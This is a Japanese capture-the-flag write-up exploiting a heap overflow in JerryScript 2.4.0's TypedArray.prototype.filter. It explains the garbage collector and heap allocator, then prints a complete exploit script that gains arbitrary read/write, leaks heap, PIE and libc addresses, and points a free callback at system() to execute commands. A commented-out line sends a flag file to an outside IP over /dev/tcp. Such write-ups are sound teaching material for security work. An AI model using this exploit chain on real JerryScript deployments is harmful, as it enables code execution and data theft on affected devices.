年末に触ったjerryscriptの1day? pwnの問題です。IoT向けのjavascriptのスクリプトエンジンだそうです。最新のrelease 2.4.0が無変更で与えられています。

bug

issueを調べていると、いくつかまずそうなバグが出てきます。これとか。

使えそうなのも出てきました。これとか。

prototype.filter関数が、元のTypedArrayより小さい型サイズのコンストラクタに書き換えた時、範囲外を書き換えるようです。TypedArrayはヒープにとられるので、ヒープオーバーフローです。

function test(constructor, constructor2, from = [1, 2, 3, 4, 5]) {
  var modifiedConstructor = new constructor(from);
  modifiedConstructor.constructor = constructor2;
  modifiedConstructor.filter(x => x % 2 == 0);
}
test(Float64Array, Float32Array);
ICE: Assertion 'object_p->type_flags_refs >= ECMA_OBJECT_REF_ONE' failed at /home/sy/Documents/jerry/jerryscript/jerry-core/ecma/base/ecma-gc.c(ecma_deref_object):158.
Error: ERR_FAILED_INTERNAL_ASSERTION
Aborted (core dumped)

また丁寧に「このバグはAAR/Wまで行っとるで」とコメントがあります。

memcopy() in ecma-builtin-typearray-prototype.c:467 should check type of the array give backed by filter. We have already made this crash an arbitrary read/write, if you need that PoC, please contact us.

修正内容はここですが、なんと最新版リリースである2.4.0で取り込まれていないようです。付属のテストも通らなかったので、これは使えそうです。

この場合のヒープオーバフローは、チャンクの再確保と組み合わせて、既存のチャンクのヘッダを荒して上手くoob配列を手に入れたいところです。

しかしながら delete やら gc やらをしばらくいろいろ試していましたが、ヒープで再確保する仕組みがよくわからなくてタイムオーバーとなってしまいました。

そのあともしばらく触っていたところ、以下のように変数を書き換えて参照を消すとうまくいくことがわかりました。もう少し触っておけばよかった。

var array_0 = new Uint8Array(0x300);
var array_1 = new Uint32Array(0x100);
var array_2 = new Uint32Array(0x100);

array_1[0]= 0xdeadbeef;
array_0 = 0
gc();

var x = new Uint8Array(0x300);
x[0] = 0xaa;
while(1) {}

あとから入力した0xaaが、先に入力した0xdeadbeefより隣接低位側に確認できます。

0x5555555c46c0 <jerry_global_heap+1360>:        0x0061000000500021      0x0000010000000117
0x5555555c46d0 <jerry_global_heap+1376>:        0x00000000000000aa      0x0000000000000000

...

0x5555555c49d0 <jerry_global_heap+2144>:        0x0061000000690021      0x0000040000000117
0x5555555c49e0 <jerry_global_heap+2160>:        0x00000000deadbeef      0x0000000000000000

そもそも、何がどうなって再確保ができているのでしょうか。gcの実装をgdbとソースで追って、以下のようにまとめました。(長すぎました。)

  • ecma_gc_runではマーク&スイープのオブジェクトの切り離しが行われる。
  • すべてのオブジェクトにNON_VISITEDのマークを付けた後、ルートのオブジェクトから辿れる範囲のオブジェクトがVISITEDになる。
  • 結果、切り離されたオブジェクトはヘッダが付け替えられ、再確保が可能になる。

また delete が機能しないのは、単に使い方を間違っているからでした。

本来はオブジェクトのプロパティを消すために利用されるようです。参考

delete 演算子は指定したプロパティをオブジェクトから取り除きます。削除に成功すると true を返し、そうでなければ false を返します。

戻り値で確認できるそうです。

var array_0 = new Uint8Array(0x300);
var array_1 = new Uint32Array(0x100);
var array_2 = new Uint32Array(0x100);

var ret = delete array_0;
print(ret);
while(1) {}
false

ということでここの delete は何の意味もなかったのが、うまくいかない原因でした。以下のように配列に入れてしまえば、deleteでも上手くいきます。

var x = [];
x[0] = new Uint8Array(0x300);
x[1] = new Uint32Array(0x100);
x[2] = new Uint32Array(0x100);

x[1][0] = 0xdeadbeef;
var ret = delete x[0]
print(ret);
gc();
var z = new Uint8Array(0x300);
z[0] = 0xaa;
while(1) {}

残りのprototype.filterからtypedarrayのalloc、memcpyによるヒープオーバーフローまでは多いですがかなり素直です。以下の順に呼ばれて、コピー先のチャンクが再確保されます。

- ecma_builtin_typedarray_prototype_filter (this_arg, &info, arguments_list_p[0], arguments_list_p[1]);
- ret_value = ecma_typedarray_species_create (this_arg, &collected, 1);
- ecma_value_t ret_val = ecma_op_function_construct (constructor_p, constructor_p, arguments_list_p, arguments_list_len);
- return ecma_builtin_construct_functions[builtin_object_id] (arguments_list_p, arguments_list_len);
- ecma_op_create_typedarray
- ret = ecma_typedarray_create_object_with_length (length, NULL, proto_p, element_size_shift, typedarray_id);
- new_arraybuffer_p = ecma_arraybuffer_new_object (byte_length);
- ecma_object_t *object_p = ecma_create_object (prototype_obj_p, sizeof (ecma_extended_object_t) + length, ECMA_OBJECT_TYPE_CLASS);
- return jmem_heap_gc_and_alloc_block (size, JMEM_PRESSURE_FULL);
- data_space_p = jmem_heap_alloc (size);

この時なぜかコンストラクタを使って配列を確保するため、Uint8Arrayに書き換えているとこのコンストラクタが利用され、そのため要求サイズは 0x110 となります。

確保のアルゴリズムは単純で、ヒープの先頭からチャンクごとに確認し、空きサイズが要求サイズ以上ならそこを切り出して確保します。

static void * JERRY_ATTR_HOT
jmem_heap_alloc (const size_t size) /**< size of requested block */
{

...

 else
  {
    uint32_t current_offset = JERRY_HEAP_CONTEXT (first).next_offset; // <-- *heaphead
    jmem_heap_free_t *prev_p = &JERRY_HEAP_CONTEXT (first); // <-- heaphead

    while (JERRY_LIKELY (current_offset != JMEM_HEAP_END_OF_LIST))
    {
      jmem_heap_free_t *current_p = JMEM_HEAP_GET_ADDR_FROM_OFFSET (current_offset);
      JERRY_ASSERT (jmem_is_heap_pointer (current_p));// <-- get next chunk
      JMEM_VALGRIND_DEFINED_SPACE (current_p, sizeof (jmem_heap_free_t));

      const uint32_t next_offset = current_p->next_offset; // <-- save next
      JERRY_ASSERT (next_offset == JMEM_HEAP_END_OF_LIST
                    || jmem_is_heap_pointer (JMEM_HEAP_GET_ADDR_FROM_OFFSET (next_offset)));

      if (current_p->size >= required_size)
      {
        /* Region is sufficiently big, store address. */
        data_space_p = current_p;

        /* Region was larger than necessary. */
        if (current_p->size > required_size)
        {   
          /* Get address of remaining space. */
          jmem_heap_free_t *const remaining_p = (jmem_heap_free_t *) ((uint8_t *) current_p + required_size);

...

     /* Next in list. */
      prev_p = current_p;
      current_offset = next_offset; // <-- feed next offset
    }
  }

デバッガで追ってみると、それぞれのチャンクの+0が次のチャンクのオフセット、+4がそのチャンクで使えるサイズのようです。オフセットが0xffffffffになっているチャンクをヒープの最後尾として、それが見つかるまで探していきます。

$rax   : 0x005555555c4430  →  0x000000b8000003a8

   --------------------------------------
   0x55555555b78e <jmem_heap_alloc+154>:        lea    rax,[rdx+r9*1]
   0x55555555b792 <jmem_heap_alloc+158>:        mov    r8d,DWORD PTR [rax+0x4]
   0x55555555b796 <jmem_heap_alloc+162>:        mov    edx,DWORD PTR [rax]
   0x55555555b798 <jmem_heap_alloc+164>:        mov    rcx,r8
=> 0x55555555b79b <jmem_heap_alloc+167>:        cmp    r8,rdi
   0x55555555b79e <jmem_heap_alloc+170>:        jae    0x55555555b7aa <jmem_heap_alloc+182>

   --------------------------------------

    187                      || jmem_is_heap_pointer (JMEM_HEAP_GET_ADDR_FROM_OFFSET (next_offset)));
    188  
 →  189        if (current_p->size >= required_size)
    190        {
    191          /* Region is sufficiently big, store address. */

あとはprototype.filterのコードに戻って、上記のallocから返ってきたサイズ0x110のバッファに対し、コピーした0x400のサイズのバッファがそのまま入り、memcpyに渡されます。

static ecma_value_t
ecma_builtin_typedarray_prototype_filter (ecma_value_t this_arg, /**< this object */
                                          ecma_typedarray_info_t *info_p, /**< object info */
                                          ecma_value_t cb_func_val, /**< callback function */
                                          ecma_value_t cb_this_arg) /**< 'this' of the callback function */
{

  ...

  ret_value = ecma_typedarray_species_create (this_arg, &collected, 1); // <-- 0x100 sized array
  ecma_free_value (collected);

  if (!ECMA_IS_VALUE_ERROR (ret_value))
  {
    ecma_object_t *obj_p = ecma_get_object_from_value (ret_value);

    JERRY_ASSERT (ecma_typedarray_get_offset (obj_p) == 0);

    memcpy (ecma_typedarray_get_buffer (obj_p),
            pass_value_list_p,
            (size_t) (pass_value_p - pass_value_list_p)); // <-- 0x400
  }

これで隣接低位側にprototype.filterの書き込み先が再確保されるので、ヒープオーバフローを使って隣のチャンクへ書き込みができます。

ちなみに、このallocの前には事前に一旦 prototype.filterで書き込む予定のバッファが確保されます。これはきっちりサイズ通り(0x400)確保されます。つまり最初のUint8Arrayのサイズが0x400以上だと、このバッファが再確保を横取りしてしまい、うまくいかなくなるケースがあります。

exploit

jerryscriptのTypedarrayはチャンクヘッダに、外部のバッファを使っているかを示すフラグがあります。

バッファを持ってくるときに、このフラグが1になっている場合は、0番目のインデックスをポインタとみなして、そこから値を引っ張ってきます。

/**
 * Helper function: return the pointer to the data buffer inside the arraybuffer object
 *
 * @return pointer to the data buffer
 */
extern inline lit_utf8_byte_t * JERRY_ATTR_PURE JERRY_ATTR_ALWAYS_INLINE
ecma_arraybuffer_get_buffer (ecma_object_t *object_p) /**< pointer to the ArrayBuffer object */
{
  JERRY_ASSERT (ecma_object_class_is (object_p, LIT_MAGIC_STRING_ARRAY_BUFFER_UL));

  ecma_extended_object_t *ext_object_p = (ecma_extended_object_t *) object_p;

  if (ECMA_ARRAYBUFFER_HAS_EXTERNAL_MEMORY (ext_object_p)) // <-- here
  {
    ecma_arraybuffer_external_info *array_p = (ecma_arraybuffer_external_info *) ext_object_p;
    JERRY_ASSERT (!ecma_arraybuffer_is_detached (object_p) || array_p->buffer_p == NULL);
    return (lit_utf8_byte_t *) array_p->buffer_p;
  }
  else if (ext_object_p->u.class_prop.extra_info & ECMA_ARRAYBUFFER_DETACHED)
  {
    return NULL;
  }

  return (lit_utf8_byte_t *) (ext_object_p + 1);
} /* ecma_arraybuffer_get_buffer */
#define ECMA_ARRAYBUFFER_HAS_EXTERNAL_MEMORY(object_p) \
    ((((ecma_extended_object_t *) object_p)->u.class_prop.extra_info & ECMA_ARRAYBUFFER_EXTERNAL_MEMORY) != 0)
/**
 * Struct to store information for ArrayBuffers with external memory.
 *
 * The following elements are stored in Jerry memory.
 *
 *  buffer_p - pointer to the external memory.
 *  free_cb - pointer to a callback function which is called when the ArrayBuffer is freed.
 */
typedef struct
{
  ecma_extended_object_t extended_object; /**< extended object part */
  void *buffer_p; /**< external buffer pointer */
  ecma_object_native_free_callback_t free_cb; /**<  the free callback for the above buffer pointer */
} ecma_arraybuffer_external_info;
typedef enum
{
  ECMA_ARRAYBUFFER_INTERNAL_MEMORY = 0u,        /* ArrayBuffer memory is handled internally. */
  ECMA_ARRAYBUFFER_EXTERNAL_MEMORY = (1u << 0), /* ArrayBuffer created via jerry_create_arraybuffer_external. */
  ECMA_ARRAYBUFFER_DETACHED = (1u << 1),        /* ArrayBuffer has been detached */
} ecma_arraybuffer_extra_flag_t;

ついでにバッファポインタの+8にはfree_cbがあり、このチャンクがgcされるときに呼ばれます。これは便利ですね。

ということで手順は以下の通りで考えればよいでしょう。

  1. 配列を3つとリーク用のゴミを並べる
  2. prototype.filterと再確保を使って、配列1のヘッダを書き換えて長さを伸ばす。
  3. 配列1を使って、ヒープアドレスをリークする。
  4. 配列2のフラグとポインタをセットして、ヒープのベースアドレスを割り出す。
  5. pie、libcのアドレスを割り出す。(ヒープ上のビルトイン関数のアドレス、およびgotを辿る)
  6. 配列1のアドレスを割り出す。(OSコマンドの置き場所にするため)
  7. 配列2のポインタを6で割り出したアドレスにセット。free_cbをsystemに向ける。
  8. 配列2のfree_cbを呼び出してripを取る。
Number.prototype.hex = function() {
        return "0x" + this.toString(16);
}
BigInt.prototype.hex = function() {
        return "0x" + this.toString(16);
}

// Typedarray with external pointer in jerryscript
// There is flag in header of heap chunk ( at chunk + 0xb ) and we can switch its buffer to external pointer.
//   ( You can't call this from js normally. )
// We can overwrite this flag to 1 and unlock external pointer with callback when free it.
//

// Memory Layout
//
// [ jerry_global_heap ]
// -------
// ...
// -------
// array_0 <-- filtered chunk ( with oob memcpy ) will place here
// -------
// array_1 <-- ovrwrite length of this array 
// -------
// array_2 <-- AAR/W array
// -------
// ...
// for_leaks <-- drop heap leak after gc()
// ...
// -------
//

var array_0 = new Uint8Array(0x300);
var array_1 = new Uint32Array(0x100);
var array_2 = new Uint32Array(0x100);
var for_leaks = [];
for (let i = 0; i < 0x2000; i++) for_leaks.push({"A": 1});

// place os command
// bash -c "/readflag > /dev/tcp/18.218.8.16/44444
//var sc = [1752392034, 543370528, 1701981986, 1818649697, 1042311009, 1701064480, 1668558710, 942747504, 942748206, 825112622, 875835190, 573846580];

// /bin/whoami
var sc = [1852400175, 1869117231, 6909281];

// create oob payload
var leng = 0xc0;
for (let i = 0; i < leng; i++) array_2[i] = 0xfff;
array_2[leng] = 0x21;
array_2[leng+1] = 0;
array_2[leng+2] = 0x117;
array_2[leng+3] = 0x313370 >> 2;

array_2.constructor = Uint8Array;
array_0 = 0; // this will wipe array_0 reference and after gc(), we can reclaim this area again.
for_leaks = 0;
gc();

// trigger bug to overwrite
array_2.filter(x => true);
print("corrupted length:", array_1.length.hex());

// get heap leak
var leak_lo = 0;
var leak_hi = 0;
for (let i = 1; i < 0x1000; i++ ){
        if (array_1[i] < 0x6000 && array_1[i] > 0x5000 && array_1[i-1] != 0) {
                leak_lo = array_1[i-1];
                leak_hi = array_1[i];
                break;
        }
}
var leak = (BigInt(leak_hi) << 32n) + BigInt(leak_lo);

// now we have valid address. turn the flag to 1 and get AAR primitive. 
array_1[0x102] = 0x10117;
function aar32(addr) {
        array_1[0x104] = Number(addr & 0xffffffffn);
        array_1[0x105] = Number(addr >> 32n);
        return array_2[0];
}
function aar(addr) {
        return BigInt(aar32(addr)) + (BigInt(aar32(addr+4n)) << 32n);
}
function aaw32(addr, value) {
        array_1[0x104] = Number(addr & 0xffffffffn);
        array_1[0x105] = Number(addr >> 32n);
        array_2[0] = value.i2f();
}

// get heap, pie, libc offset 
var target = leak - 0x3000n;
var heap_base = 0n;
for (let i = 0; i < 0x1000; i++ ){
        if (aar32(target + BigInt(i) * 8n) < 0x1000) {
                if ((aar32(target + BigInt(i) * 8n + 8n) & 0xffff) == 0x70) {
                        heap_base = target + BigInt(i) * 8n;
                        break;
                }
        }
}
if ( heap_base == 0n ) {
        print("heap_base not found. check offset.");
        while(1) {}
}
print("heap_base:", heap_base.hex());

var ptr_jerryx_handler_assert = heap_base + 0x148n;
var jerryx_handler_assert = aar(ptr_jerryx_handler_assert);
var pie = jerryx_handler_assert - 0x4eb93n;
var ptr_got_free = pie + 0x68eb8n;
var got_free = aar(ptr_got_free);
var libc_base = got_free - 0xa5460n;
var system = libc_base + 0x50d60n;
print("libc_base:", libc_base.hex());

// get addr of array_1 to locate our command addr
// mark for search
array_1[0] = 0x11221122;
array_1[1] = 0x33443344;

// you can use aaw here, but this way is more stable.
for (let i = 0; i < sc.length; i++ ){
        array_1[i+2] = sc[i];
}
var addr_array_1 = 0;
for (let i = 0; i < 0x1000; i++ ){
        if (aar32(heap_base + BigInt(i) * 8n) == 0x11221122) {
                if (aar32(heap_base + BigInt(i) * 8n + 4n) == 0x33443344) {
                        addr_array_1 = heap_base + BigInt(i) * 8n;
                        break;
                }
        }
}
if ( addr_array_1 == 0n ) {
        print("array_1 not found. check offset.");
        while(1) {}
}
print("array_1:", addr_array_1.hex());

// change array_2 external pointer to our command
array_1[0x104] = Number((addr_array_1 + 8n) & 0xffffffffn);
array_1[0x105] = Number((addr_array_1 + 8n) >> 32n);

// change array_2 free_cb to system
array_1[0x106] = Number(system & 0xffffffffn);
array_1[0x107] = Number(system >> 32n);

// wipe array_2 reference
array_2 = 0;

// trigger array_2 free_cb
gc();

// we need this to prevent any other destructor call
while(1) {}
$ ./jerry ./exp2.js 
corrupted length: 0x31337
heap_base: 0x559e9a057170
libc_base: 0x7f8645d37000
array_1: 0x559e9a058918
jt

実際に作ってみるとわかりますが、かなり不安定です。理由をあまりしっかりと調べていませんが、スクリプトのファイルの長さが関係していそうで、コメントアウトした行を消したり増やしたりすると、segvするところが変わったりします。時々jsファイルの中身がヒープに現れます。逆にコマンドにしてやろうと思ってポインタを探すと消えます。ファイルサイズがある程度大きくなってくるとにっちもさっちもいかなくなります。

恐らくオブジェクトを確保するたびにgcチェックをしていたり、gcにサイズリミットのようなものがあったので、そのあたりでヘッダの整合が合わなくなっているので落ちているのかと思っています。

このexploitを書く前に、Float64ArrayとUint32Array を使って同じことをやるのを書きましたが、長いうえに不安定すぎてprintをはさんだりするのが辛すぎるため使えないので、省略します。

反省

今回はデバッグ版のビルドを一番最初にやったので、これは良かったと思います。ほかのチームはasanでビルドして、そこにあるテストを実行して0dayを手に入れたという話を見て、とても頭脳差を感じています。

その他次のサンドボックス?問に向けて。

  • 特にスクリプトエンジン問でヒープにめぼしいポインタがない場合は、外部ポインタの系を探す。今回は外部ポインタフラグがjsから直接呼べなかったので発見が難しかった。
  • 短期間にgcと仲良くなるために、実験をいくつかしておく。フラグを編集してみたり、エラーなどからソースを参照してあたりを付ける。
  • javascript の delete は正しく使う。